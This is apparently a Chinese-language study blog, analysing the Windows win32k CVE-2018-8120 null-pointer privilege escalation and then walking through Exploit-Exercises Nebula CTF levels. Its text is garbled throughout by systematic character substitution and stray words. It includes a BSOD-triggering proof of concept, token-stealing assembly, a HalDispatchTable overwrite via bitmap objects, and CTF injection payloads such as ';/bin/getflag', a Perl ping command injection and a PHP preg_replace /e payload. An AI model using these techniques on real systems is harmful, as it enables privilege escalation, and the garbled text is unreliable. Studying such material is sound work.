目录php
在2018年5月,微软官方公布并修复了4个win32k内核提权的漏洞,其中的CVE-2018-8120内核提权漏洞是存在于win32k内核组件中的一个空指针引用漏洞,能够经过空指针引用,对内核进行任意读写,进而执行任意代码,以达到内核提权的目的。html
该漏洞的触发点就是窗口站tagWINDOWSTATON对象的指针成员域spklList指向的多是空地址,若是同时该窗口站关联当前进程,那么调用系统服务函数NtUserSetImeInfoEx设置输入法扩展信息时,会间接调用SetImeInfoEx函数访问spklList指针指向的位于用户进程地址空间的零页内存。python
若是当前进程的零页内存未被映射(事实上零页内存正常是不会被映射的),函数SetImeInfoEx的访问操做将引起缺页异常,致使系统BSOD;一样,若是当前进程的零页内存被提早映射成咱们精心构造的数据,则有可能恶意利用,形成任意代码执行的漏洞。linux
说明:Windbg是Microsoft公司免费调试器调试集合中的GUI的调试器,支持Source和Assembly两种模式的调试。Windbg不只能够调试应用程序,还能够进行Kernel Debug。git
该工具使得咱们能够本地调试windows系统的内核,可是,本地调试内核模式不能使用执行命令、断点命令和堆栈跟踪命令等命令github
一、使用管理员身份打开cmd,执行bcdedit /debug on
, 开启调试模式web
二、使用管理员权限打开windbg(必定是管理员权限,否则不起做用),而后依次选择File->Kernel Debugging->Local->肯定
正则表达式
三、通过上面的设置基本就能够进行相关本地内核调试算法
在windows操做系统中,系统服务(系统内核函数)分为两种:一种是经常使用的系统服务,实如今内核文件;另外一种是与图形显示及用户界面相关的系统服务,实如今win32k.sys文件中。shell
所有的系统服务在系统运行期间都储存在系统的内存区,系统使用两个系统服务地址表KiServiceTable和Win32pServiceTable管理这些系统服务,同时设置两个系统服务描述表(SDT)管理系统服务地址表,这两个系统服务描述表ServiceDescriptorTable(SSDT)
和 ServiceDescriptorTableShadow(SSDTShadow)
其中,前者只包含KiServiceTable表,后者包含KiServiceTable和Win32pServiceTable两个表,并且SDDT是能够直接调用访问的,SSDTShadow不能够直接调用访问。
SDT对象的结构体以下:
typedef struct _KSYSTEM_SERVICE_TABLE { PULONG ServiceTableBase; // 系统服务地址表地址 PULONG ServiceCounterTableBase; PULONG NumberOfService; // 服务函数的个数 ULONG ParamTableBase; // 该系统服务的参数表 } KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;
经过windbg本地内核调试查看相关系统服务描述表实际结构分布:
分析:图中显示的是SDDT表和SSDTShadow表中的结构,每一个表中的两行分别表示系统服务地址表KiServiceTable表和Win32pServiceTable表的相关数据信息。由于上面的是SSDT表,不包含Win32pServiceTable表,因此第一个表中第二行数据为空。
结合上面的结构体能够看出,KiServiceTable的地址是0x83cbfd9c
,包含0x191个系统服务;Win32pServiceTable的地址是0x92696000
,包含0x339个系统服务。
再查看系统服务地址表存储具体的内容:
分析:能够看出系统服务地址表中存储的都是四个字节的函数指针,这些指针指向的就是后面对应的系统服务函数
窗口站是和当前进程和会话(session)相关联的一个内核对象,它包含剪贴板(clipboard)、原子表、一个或多个桌面(desktop)对象等。
经过windbg来查看窗口站对象在内核中的结构体实例:
分析:上图就是窗口站tagWINDOWSTATION的结构体的定义,其中在偏移0x14
处的spklList指针指向关联的键盘布局tagKL对象链表首节点
查看键盘布局的结构体定义
分析:键盘布局tagKL结构体中在偏移0x2c
处的piiex指针指向关联的输入法扩展信息结构体对象,这也是SetImeInfoEx函数内存拷贝的目标地址。
当用户进程调用CreateWindowStation函数等相关函数建立新的窗口站时,最终会调用内核函数xxxCreateWindowStation执行窗口站的建立,可是在该函数执行期间,被建立的新窗口站实例的spklList指针并无被初始化,指向的是空地址。
## 分析SetImeInfoEx函数
说明: 函数SetImeInfoEx
是一个win32k组件中的内核函数,主要负责将输入法扩展信息tagIMEINFOEX对象拷贝到目标键盘布局tagKL对象的结构体指针piiex指向的输入法信息对象的缓冲区。
IDA加载win32k.sys组件并手动载入符号表
File-->loadfile-->pdbfile
,而后点击弹出窗口的OK选项Ctrl+F
查找SetImeInfoEx函数,并使用F5反编译出函数的伪代码分析:从上面的伪代码中能够看出,函数SetImeInfoEx首先从参数a1指向的窗口站对象中获取spklList指针(a1是窗口站地址指针,偏移0x14就是spklList指针),也就是指向键盘布局链表tagKL首节点地址的指针;而后函数从首节点开始遍历键盘布局对象链表,直到节点对象的pklNext成员指回到首节点对象为止,函数判断每一个被遍历的节点对象的hkl成员是否与源输入法扩展信息对象的hkl成员相等;接下来函数判断目标键盘布局对象的piiex成员(偏移0x2c)是否为空,且成员变量 fLoadFlag(偏移0x48) 值是否为 FALSE,若是上述两个条件成立,则把源输入法扩展信息对象的数据拷贝到目标键盘布局对象的piiex成员中。
把这段伪代码变得更易读一下~
BOOL __stdcall SetImeInfoEx(tagWINDOWSTATION *winSta, tagIMEINFOEX *imeInfoEx) { [...] if ( winSta ) { pkl = winSta->spklList; while ( pkl->hkl != imeInfoEx->hkl ) { pkl = pkl->pklNext; if ( pkl == winSta->spklList ) return 0; } piiex = pkl->piiex; if ( !piiex ) return 0; if ( !piiex->fLoadFlag ) qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX)); bReturn = 1; } return bReturn; }
至此咱们能够看出程序的漏洞:在遍历键盘布局对象链表 spklList 的时候并无判断 spklList 地址是否为 NULL,假设此时 spklList 为空的话,接下来对 spklList 访问的时候将触发访问异常,致使系统 BSOD 的发生。
从以前的分析中,咱们知道触发漏洞的条件是要将spklList指针指向空地址的窗口站关联到进程中。
具体实现就是先经过接口函数CreateWindowStation建立一个窗口站,而后调用NtUserSetImeInfoEx函数关联该窗口站和进程(NtUserSetImeInfoEx系统服务函数会调用SetImeInfoEx);由于NtUserSetImeInfoEx函数未导出,因此须要使用Malware Defender来hook获得序列号,再经过序列号计算出服务号
运行Malware Defender,选择钩子-->Win32k服务表,查看系统服务序列号
分析:NtUserSetImeInfoEx的系统服务号 = 0x1000+0x226(550的16进制) = 0x1226 ,其中 0x1000表明调用SSDTShadow中第二个表项中的系统服务函数(第一个表项的系统服务函数为0x0000)
使用windbg来查看SystemCallStub函数地址从而调用内核函数
Poc实现代码:
#include <Windows.h> #include <stdio.h> __declspec(naked) void NtSetUserImeInfoEx(PVOID imeinfoex) { __asm { mov eax, 0x1226 //将NtUserSetImeInfoEx函数的服务号传入eax中 mov edx, 0x7ffe0300 // 将SystemCallStub函数地址传入edx中 call dword ptr[edx] //调用SystemCallStub函数 ret 0x04 } } int main() { HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0); //使用CreateWindowStation函数建立一个窗口站 SetProcessWindowStation(hSta); char ime[0x800]; NtSetUserImeInfoEx((PVOID)&ime); //调用NtUserSetImeInfoEx函数触发漏洞,导致系统BSOD return 0; }
编译运行,成功触发漏洞,导致系统BSOD
0x00000000
到0x0000FFFF
的闭区间被称为空指针赋值分区,也就是咱们上面说的零页内存,正常状况下未被映射,强行对其访问则会出现漏洞Poc的状况,系统BOSD。NTSYSAPI NTSTATUS NTAPI ZwAllocateVirtualMemory ( IN HANDLE ProcessHandle, IN OUT PVOID BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );
分析:将参数BaseAdress设置为0时,并不能在零页内存中分配空间,而是让系统寻找第一个未使用的内存块来分配使用。在AllocateType参数中有一个分配类型是MEM_TOP_DOWN,该类型表示内存分配从上向下分配内存。咱们能够将参数BaseAddress指定为一个低地址同时指定分配内存的大小参数RegionSize的值大于这个地址值,如参数BaseAddress为1,参数RegionSize为8192,这样也就能成功分配,地址范围就是 0xFFFFE001(-8191)到 1把0地址包含在内了,此时再去尝试向 NULL指针执行的地址写数据,程序就不会异常了。在32位 Windows系统中,可用的虚拟地址空间共计为 2^32 字节(4 GB)。一般低地址的2GB用于用户空间,高地址的2GB 用于系统内核空间,经过这种方式咱们发如今0地址分配内存的同时,也会在高地址(内核空间)分配内存。
分配零页内存,建立并设置窗口站
每一个进程都在内核中都会有且仅有一个EPROCESS结构,其中EPROCESS结构中的Token字段记录着这个进程的Token结构的地址,进程的不少与安全相关的信息是记录在这个TOKEN结构中的,因此若是咱们想得到SYSTEM权限,就须要将拥有SYSTEM权限进程的Token字段的值找到,并赋值给咱们建立的程序进程中EPROCESS的Token字段。
第一步,找到拥有SYSTEM权限的进程的EPROCESS结构地址
在Ring0中,fs寄存器指向一个叫KPCR的数据结构,该结构体中偏移量为0x120的地方是一个类型为_KPRCB的成员PrcbData
结构体_KPRCB中偏移量为0x004的地方存放着指向当前线程的_KTHREAD
经过查看_KTHREAD结构体和EPROCESS组成,咱们知道_KTHREAD.ApcState.Process指向的就是当前进程的EPROCESS,因此咱们获取当前进程EPROCESS的汇编代码能够写成
mov edx, 0x124; mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread mov edx, 0x50; mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process mov ecx, eax;// Copy current _EPROCESS structure
基于以上,咱们已经明白如何得到自身进程的EPROCESS结构了,进一步须要作的是得到System进程的EPROCESS~
查看EPROCESS的ActiveProcessLinks成员,它是一个_LIST_ENTRY结构,在windows系统中,每建立一个进程系统内核就会为其建立一个EPROCESS,而后使EPROCESS.ActiveProcessLinks.Flink=上一个建立的进程的EPROCESS.ActiveProcessLinks.Flink的地址,而上一个建立进程的EPROCESS.ActiveProcessLinks.Blink=新建立进程的EPROCESS.ActiveProcessLinks.Flink的地址,构成了一个双向链表。因此找到一个进程就能够经过Flink和Blink遍历所有进程EPROCESS了,因为System进程是最早建立的进程之一,所以它必然在当前进程(咱们编写的这个程序进程)以前,咱们能够循环访问Flink,判断其PID是否为4(EPROCESS的UniqueProcessId成员指向其所属进程的PID)来判断其是否为SYSTEM进程
第二步,将SYSTEM进程的Token字段赋值给当前进程
分析:在NtQueryIntervalProfile中调用KeQueryIntervalProfile函数
分析:从图中能够看出KeQueryIntervalProfile函数调用一个在HalDispatchTable+0x4
处的指针,咱们能够覆盖该指针使其指向shellcode,那么当调用NtQueryIntervalProfile时shellcode也就间接的能够在内核层0运行
须要用到的是HalDispatchTable+0x4地址,那么也就是须要找到HalDispatchTable的地址便可,咱们可利用另外一个未文档化的函数——NtQuerySystemInformation,此函数可帮助用户进程查询内核以获取有关OS和硬件状态的信息,这个函数没有导入库,咱们须要使用GetModuleHandle和GetProcAddress在‘ntdll.dll‘的内存范围内动态加载函数。
分析:
NT内核文件的名字会由于单处理器和多处理器以及不一样位数的操做系统版本以及是否支持PAE(Physical Address Extension)而不一样,因此须要编程获取。
HalDispatchTable在内核中真正的地址须要使用加载模块的基地址+HalDispatchTable在该模块中的偏移来获取的。咱们经过NtQuerySystemInformation获取了nt模块的基址kernelimageBase,经过计算用户空间中HalDispatchTable的地址-用户空间中nt模块的地址能够得到偏移。
GetBitmapBits
和SetBitmapBits
能够对Bitmap内核对象中的pvScan0字段指向的内存地址进行读写操做,这样就能够经过pvScan0字段实现对任意内存的读写操做。1. 首先建立两个Bitmap对象:gManger和个Worker;
建立一个Bitmap对象时,一个结构被附加到了进程PEB的GdiSharedHandleTable成员中, GdiSharedHandleTable是一个GDICELL结构体数组的指针 ,GDICELL结构的pKernelAddress成员指向BASEOBJECT(sizeof=0x10
)结构,BASEOBJECT结构后面的紧跟着SURFOBJ结构, SURFOBJ结构中偏移量为0x20处即为pvScan0字段
咱们能够用如下方式找到Bitmap对象的内核地址
addr = PEB.GdiSharedHandleTable + (handle &0xffff) *sizeof(GDICELL) ;
经过以下代码得到gManger.pvScan0和gWork.pvScan0的地址
2. 利用CVE-2018-8120的任意内存写入漏洞,将gManger对象的pvScan0值修改为gWorker对象的地址;
基本前文的漏洞分析,咱们知道SetImeInfoEx函数中若想执行qmemcpy,需跳过以下所示的while循环
while ( pkl->hkl != imeInfoEx->hkl ) { pkl = pkl->pklNext; if ( pkl == winSta->spklList ) return 0; }
所以须要设置pkl->hkl = imeInfoEx->hkl,就是在零页地址位置伪造了一个和 tagIMEINFOEX 结构体 spklList 成员类型同样的 tagKL 结构体,而后把它的 hkl 字段设置为 wpv 的地址,以后再把 wpv 的地址放在 NtUserSetImeInfoEx 函数的参数 ime_info_ex 的第一个成员里面;指定pkl->piiex等于gManger.pvScan0的地址,也就是指定qmemcpy目的地址,这样执行qmemcpy以后,就能够把gWorker.pvScan0的值赋给gManger.pvScan0
注意:qmemcpy拷贝了0x15c个字节,势必会影响gManger.pvScan0以后的内存,后面调用Gdi32的 GetBitmapBits/SetBitmapBits 这两个函数就会不成功,由于这两个函数操做pvScan0的方式和SURFOBJ结构的 lDelta、iBitmapFormat、iType、fjBitmap 还有SURFACE结构的flags字段相关的,为了不这个问题,咱们须要在构造的ime_info_ex中填上一些数值进行修复
3. gManger对象调用SetBitmapBits函数将gWorker对象的pvScan0的值覆盖成HalDisptchTable+4的地址(HalDisptchTable表中对应偏移处存放着hal!HaliQuerySystemInformation() 函数指针);
4. gWorker调用GetBitmapBits函数获取HalDispatchTable+4所指内存的值,也就是hal!HaliQuerySystemInformation() 函数指针,存储起来;
5. gWork对象调用SetBitmapBits函数将HalDispatchTable+4处的函数指针覆盖成shellcode函数指针;
6. 在用户进程中调用系统API函数NtQuerySystemInformation,进而调用HalDisptchTable表中的hal!HaliQuerySystemInformation() 函数指针,也就是执行shellcode;
7. gWorker调用SetBitmapBits函数将HalDisptchTable+4的地址处的hal!HaliQuerySystemInformation() 函数指针还原,保证下面的运行不出错;
打开cmd,进入Exp-CVE-2018-8120.exe所在的目录并执行,引号内为想要执行的命令
令牌的角色:访问令牌主要负责描述进程或线程的安全上下文,包括关联的用户、组和特权。根据这些信息,Windows内核能够对进程请求的特权操做作出访问控制决策。令牌一般是内核对象而且与特定的进程或线程相关联。在用户空间中,它们由句柄(用户识别码/用户名称)惟一标识。
进程令牌:进程令牌分为primary tokens (主令牌)和 impersonation tokens(模拟令牌)两种,在windows中全部进程都有一个关联的主令牌,其中规定了对应进程的特权,建立新进程时,子进程默认继承父进程的主令牌。
线程令牌:Windows是一个多线程操做系统,一个进程至少拥有一个线程。默认状况下,线程将在与父进程相同的安全上下文中运行primary tokens。然而,Windows引入了impersonation tokens,它容许线程在给定不一样的访问令牌的状况下临时模拟不一样的安全上下文。此功能最多见的用途是使应用程序开发人员可以容许用Windows内核来处理大部分的访问控制。好比,当FTP服务器做为服务账户运行时,若是没有模拟,服务器就必须将客户端关联的用户名、组和文件、目录的ACL(访问控制表)进行对比后手动执行,模拟则容许这些工做在确保服务线程是在客户端用户账户的安全上下文中执行后交由Windows内核执行,这能够看作windows下类型UNIX系统中setuid()函数。
安全级别
Token能够有Anonymous 、Identify 、Impersonate 、Delegate四种不一样的安全级别,其中Impersonate 和Delegate级别影响最大, Impersonate级别容许线程在本地系统上模拟令牌的安全上下文,但不容许使用该令牌访问外部系统,而Delegate级别容许线程在任何系统上模拟令牌的安全上下文,由于它存储相关的身份验证凭证。
蓝屏是Windows中用于提示严重的系统报错的一种方式,蓝屏一旦出现,Windows系统便宣了结止,只有从新启动才能恢复到桌面环境,因此蓝屏又称为蓝屏终止(Blue Screen Of Death),简称BSOD
——《0day安全 软件漏洞分析技术(第二版)》第21章 探索Ring0
Exploit-Exercises是一个Linux平台下漏洞挖掘、分析的练习平台,官方提供了三种不一样级别的平台,Nebula、Protostar和Fusion,分别是用来学习基础提权、溢出和高级攻击技术。
如何使用Nebula:
Nebula最高权限的帐户是nebula,密码也是nebula,若是某一关涉及到修改系统配置,那么咱们能够经过切换到nebula用户来修改
每一Level都对应一个levelxx帐号,密码与帐号名相同,在完成每一关的题目以前,须要用对应的帐号登陆系统,与该题目相关的内容存放在/home/flagxx中 的。好比:第一关帐号是level00,密码level00,而后用这个帐号登陆到系统并进入/home/flag00,若是这关须要攻击有漏洞的程序,那么相应的程序放在此目录中
使用命令su - levelxx
切换登陆帐号
每一关提权成功以后,须要执行/bin/getflag/,若是提权是成功的,会提示“You have successfully executed getflag on a target account”,不然提示“getflag is executing on a non-flag accont, this doesn't count”
题目
This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
解题思路:
一、根据题目提示,本关须要在系统中搜索一个设置SUID的程序,这个程序是以flag00身份运行的,所以使用find命令在根目录下查找全部人和全部组都是flag00的文件
二、因为当前用户是level00,在进一些没有权限进入的目录进行搜索的时候,是会出错的,而且Linux标准输入、标准输出和错误分别对应文件描述符0、1和 2,因此用参数2>/dev/null
将错误输出到/dev/null这个空白设备里
三、搜索完成后执行发现的程序
题目:
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
源代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); }
解题思路:
一、首先观察该程序的执行效果,结果为输出and now what?
二、分析程序源代码,咱们能够看到程序调用setresuid()设置调用进程的真实用户ID,有效用户ID和保存的set-user-ID,调用setresgid()设置真正的GID,有效的GID和保存的set-group-ID;但上面这些并非重点,关键点在于system("/usr/bin/env echo and now what?")
,程序使用system函数执行指定的shell命令,而此处存在的漏洞在于echo是由env定位找到;由于env用来执行当前环境变量下的命令或者显示当前的环境变量,也就是说env会依次遍历$PATH中的路径,执行第一次找到的echo命令,因此咱们只要修改$PATH,就能够欺骗env,继而使得代码中的system执行咱们的命令。
三、因为/tmp目录对任何用户都有完整的权限,所以咱们可使用命令ln -s /bin/getflag /tmp/echo
让/tmp/echo连接到/bin/getflag上
四、使用命令export PATH=/tmp:$PATH
修改环境变量,将tmp路径放在前面,这样env会首先在/tmp下找到echo并执行
题目:
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
源代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { char *buffer; gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); buffer = NULL; asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); printf("about to call system(\"%s\")\n", buffer); system(buffer); }
解题思路:
一、同理先观察该程序的执行效果
二、分析源代码,可看到buffer变量是通过asprintf拼接而成,而asprintf的第二个参数调用了getenv函数去得到环境变量USER的值(USER里是当前登陆的用户名),有了上一关的经验,咱们不难想到能够把USER变量替换成;/bin/getflag
,等因而在执行完echo语句后,紧接着就执行/bin/getflag了(执行多条命令用“;”隔开)
题目:
Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.
解题思路:
一、经过查看crontab设置,可知它每隔2分钟执行/home/flag03目录下的writable.sh
二、查看writable.sh中的内容
三、这段代码的含义是:每执行一次writable.sh,writable.sh就自动执行writable.d里的全部文件,以后再删除这个脚本。经过ls -l
命令咱们能够看到writable.d这个目录任何人可读可写,因此只需将咱们想进行的操做写进writable.d里,等着它自动运行能够了
四、在writable.d的目录下建立一个run脚本,使用echo语句向run中写入内容,并赋予run脚本777权限(可读可写可执行)
五、等待两分钟,咱们在/tmp目录下发现5215zjj这个文件,说明writable.d里的run已经被自动执行
题目
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it
根据提示,咱们须要读取token,但目前权限阻止咱们读取代码,所以须要找到方法绕过限制
解题思路:
一、使用ls -l
命令查看token的权限为-rw-------
,所属用户是flag04,也就是除root权限外,只有flag04这个用户能够对它进行读取操做,同一目录下另外一个程序flag04却属于用户组flag04,所以咱们查看flag04的源代码
flag04源代码:
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> int main(int argc, char **argv, char **envp) { char buf[1024]; int fd, rc; if(argc == 1) { printf("%s [file to read]\n", argv[0]); exit(EXIT_FAILURE); } if(strstr(argv[1], "token") != NULL) { printf("You may not access '%s'\n", argv[1]); exit(EXIT_FAILURE); } fd = open(argv[1], O_RDONLY); if(fd == -1) { err(EXIT_FAILURE, "Unable to open %s", argv[1]); } rc = read(fd, buf, sizeof(buf)); if(rc == -1) { err(EXIT_FAILURE, "Unable to read fd %d", fd); } write(1, buf, rc); }
二、咱们注意到程序的核心在于strstr函数,该函数从输入的参数1中寻找“token”第一次出现的位置,返回指向第一次出现“token”位置的指针,若是没有找到则返回null。所以,只要咱们保证文件名里不包含“token”字符串,就能够绕过这个限制,继续执行程序中的open操做。
三、参照前面关卡中用到的软链接,将token链接到/tmp/level04下,而后执行程序flag04时后面的参数设为新建的/tmp/level04,读出的token就是flag04这个帐号的密码,切换登陆帐号并执行/bin/getflag
题目
Check the flag05 home directory. You are looking for weak directory permissions
根据提示咱们须要找到一个弱权限的目录,而后经过它来提权
解题思路:
一、使用ls -al
命令,列出目录/home/flag05下全部文件权限
二、能够看到这里有两个比较重要的文件,分别是.backup和.ssh,可是level05这个帐号对.ssh的权限不够,因此咱们先进入.backup文件查看;.backup里有个压缩文件,咱们解压到/tmp中查看(由于没有写入权限,因此不可解压到当前目录)
三、解压后发现里面的内容是ssh的备份,包含用户的公私钥;所以拷贝该ssh目录到当前用户下,使用ssh [-l login_name] [-p port] [user@]hostname
登陆flag05帐户
四、登陆成功后,执行/bin/getflag
便可过关~
题目
The flag06 account credentials came from a legacy unix system.
解题思路:
一、unix的帐户系统中,用户名和密码密文都是放在/etc/passwd文件中的,而linux系统中的用户名放在/etc/passwd,而密码则在/etc/shadow中
二、读取/etc/passwd里flag06帐户的密码密文
三、使用kali中自带的破解工具john解密该段密文,获得密码明文为hello
,登陆flag06帐号,通关成功~
题目
The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
解题思路:
一、flag06文件夹下index.cgi和thttpd.conf两个文件,查看配置文件thttpd.conf看到显示开放的端口号是7007
二、分析index.cgi文件源代码
#!/usr/bin/perl use CGI qw{param}; print "Content-type: text/html\n\n"; sub ping { $host = $_[0]; print("<html><head><title>Ping results</title></head><body><pre>"); @output = `ping -c 3 $host 2>&1`; foreach $line (@output) { print "$line"; } print("</pre></body></html>"); } # check if Host set. if not, display normal page, etc ping(param("Host"));
这段代码调用外部Ping命令@output = `ping -c 3 $host 2>&1`;
去发送3个数据包给目的ip,ip是经过$host = $_[0];
得到,最后一行代码ping(param("Host"));
决定参数Host首字母是大写,最后程序会把ping的结果返回到客户端的浏览器中;
这段Perl脚本的漏洞出如今代码@output = `ping -c 3 $host 2>&1`;
中,此处出现了可执行任意文件漏洞,由于在Perl中“(Tab键上的那个键)”符号之间的内容是调用的外部命令。
三、咱们能够利用这个漏洞在输入主机参数的同时,用;
再接上咱们想执行的提权指令,在执行该操做前,先使用wget http://localhost:7007/index.cgi?Host=127.0.0.1%3Bwhoami
确认cgi程序的权限
四、上图咱们能够看到显示结果中的最后行多出个“flag07”,说明当前程序是以flag07身份执行的,接着咱们即可以输入wget http://localhost:7007/index.cgi?Host=127.0.0.1%3B/bin/getflag
命令通关啦~
题目
World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
解题思路
一、使用level8帐户登陆后,进入/home/flag08
文件夹下看到里面只有一个名为capture.pcap的数据包,显而易见,咱们须要使用wireshark对这个数据包进行分析。许多教程都是使用kali的sftp功能转移数据包,而我由于配很差练习环境的ip地址,最终经过参考教程使用挂载u盘的方式转移数据包
二、使用wireshark打开这个抓包文件,能够看到所有是TCP协议的数据包,任选一个数据包,右键->跟踪流->TCP流
三、咱们能够看出这个包是关于交互式登陆的,接着使用Hex dump方式看password字段
四、查询ASCII码表,可知知7f是del(删除)的ASCII码,od是回车符的ASCII码,用户输入密码的过程可理解为:输入backdoor后删除了三个字符,而后接着输入00Rm8又删除了一个字符,最后输入ate并摁下回车键,所以正确的密码应为backd00Rmate
五、使用用户名flag08
,密码backd00Rmate
登陆帐户,执行/bin/getflag
通关成功
题目
There’s a C setuid wrapper for some vulnerable PHP code…
souse code
<?php function spam($email) { $email = preg_replace("/\./", " dot ", $email); $email = preg_replace("/@/", " AT ", $email); return $email; } function markup($filename, $use_me) { $contents = file_get_contents($filename); $contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents); $contents = preg_replace("/\[/", "<", $contents); $contents = preg_replace("/\]/", ">", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>
解题思路
一、首先了解下preg_replace()函数的功能
二、分析题目中的PHP代码,可知这段程序让咱们传入文件名做为参数,而后经过命令$contents = file_get_contents($filename);
获取文件内容,并将文件内容中的“.”替换成“dot”,“@”替换成“AT”,在tmp目录下建立一个文件zjj,验证一下以上分析
三、此段代码的漏洞在于$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
,在第一个参数后面加上了/e,启用/e模式,意味着第二个参数会被做为代码执行,所以若第二个参数为提权指令的话,咱们就能够过关
四、修改/tmp/zjj文件中的内容为[email "{${system(getflag)}}"]
并执行,通关成功~
题目
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
源代码
#include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> int main(int argc, char **argv) { char *file; char *host; if(argc < 3) { printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); exit(1); } file = argv[1]; host = argv[2]; if(access(argv[1], R_OK) == 0) { int fd; int ffd; int rc; struct sockaddr_in sin; char buffer[4096]; printf("Connecting to %s:18211 .. ", host); fflush(stdout); fd = socket(AF_INET, SOCK_STREAM, 0); memset(&sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(host); sin.sin_port = htons(18211); if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { printf("Unable to connect to host %s\n", host); exit(EXIT_FAILURE); } #define HITHERE ".oO Oo.\n" if(write(fd, HITHERE, strlen(HITHERE)) == -1) { printf("Unable to write banner to host %s\n", host); exit(EXIT_FAILURE); } #undef HITHERE printf("Connected!\nSending file .. "); fflush(stdout); ffd = open(file, O_RDONLY); if(ffd == -1) { printf("Damn. Unable to open file\n"); exit(EXIT_FAILURE); } rc = read(ffd, buffer, sizeof(buffer)); if(rc == -1) { printf("Unable to read from file: %s\n", strerror(errno)); exit(EXIT_FAILURE); } write(fd, buffer, rc); printf("wrote file!\n"); } else { printf("You don't have access to %s\n", file); } }
解题思路
一、分析代码,咱们能够看出程序首先用access()函数判断当前用户是否有操做文件的权限,有的话则执行相关操做即上传文件,不然就会输出"You don't have access to <文件名> ",access()函数的具体详细说明以下图
二、继续分析代码,这段代码创建了一个socket链接,链接到18211端口上,而后发送一个“banner”(内容是”.oO Oo.\n”),以后open指定的文件,若是打开成功,就把内容发送到创建的通讯链接中
三、这个程序的漏洞在于access()函数和open()函数是经过文件路径名做为参数的,而这个路径多是一个连接文件。假设access一个/tmp/zjj文件,而在access操做以后、open操做以前,/tmp/zjj被替换成了一个指向其余文件(如/etc/passwd)连接文件,,而且这个进程有对/etc/passwd操做的权限,那么它最终所操做的并非真正的/tmp/zjj,而是/etc/passwd;基于以上,咱们有大体的攻击思路:首先在本地监听18211端口,而后让flag10程序去access一个当前用户有权限访问的文件(/tmp/zjj),最后删除掉/tmp/zjj,从新创建一个指向/home/flag10/token的连接文件
四、在终端1中用nc监听18211端口,其中-k
参数表示在链接结束以后强制保持链接状态
五、在终端2下(按Ctrl+Fn+Alt+F2切换),创建一个文件/tmp/zjj,再写一个不断创建软连接的bash脚本jj,对此脚本加入可执行权限并执行
六、在终端3的/tmp目录下创建脚本yy,对此脚本加入可执行权限并执行
七、返回终端1,查看nc收到的信息,获得token即flag10的登陆密码;登陆flag10帐号后,执行getflag便可过关~
题目
The /home/flag11/flag11 binary processes standard input and executes a shell command.
There are two ways of completing this level, you may wish to do both
源代码
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26), 'A' + (random() % 26), '0' + (random() % 10), 'a' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } }
解题思路
一、经过以前的练习,咱们能够大体判断出函数system()是危险的,所以咱们着重注意process函数;process函数中system的参数来自于buffer变量的内容,而且在system执行以前,程序对buffer里的数据作了一次异或运算,利用异或两次即复原的特性,咱们能够编写以下的攻击代码
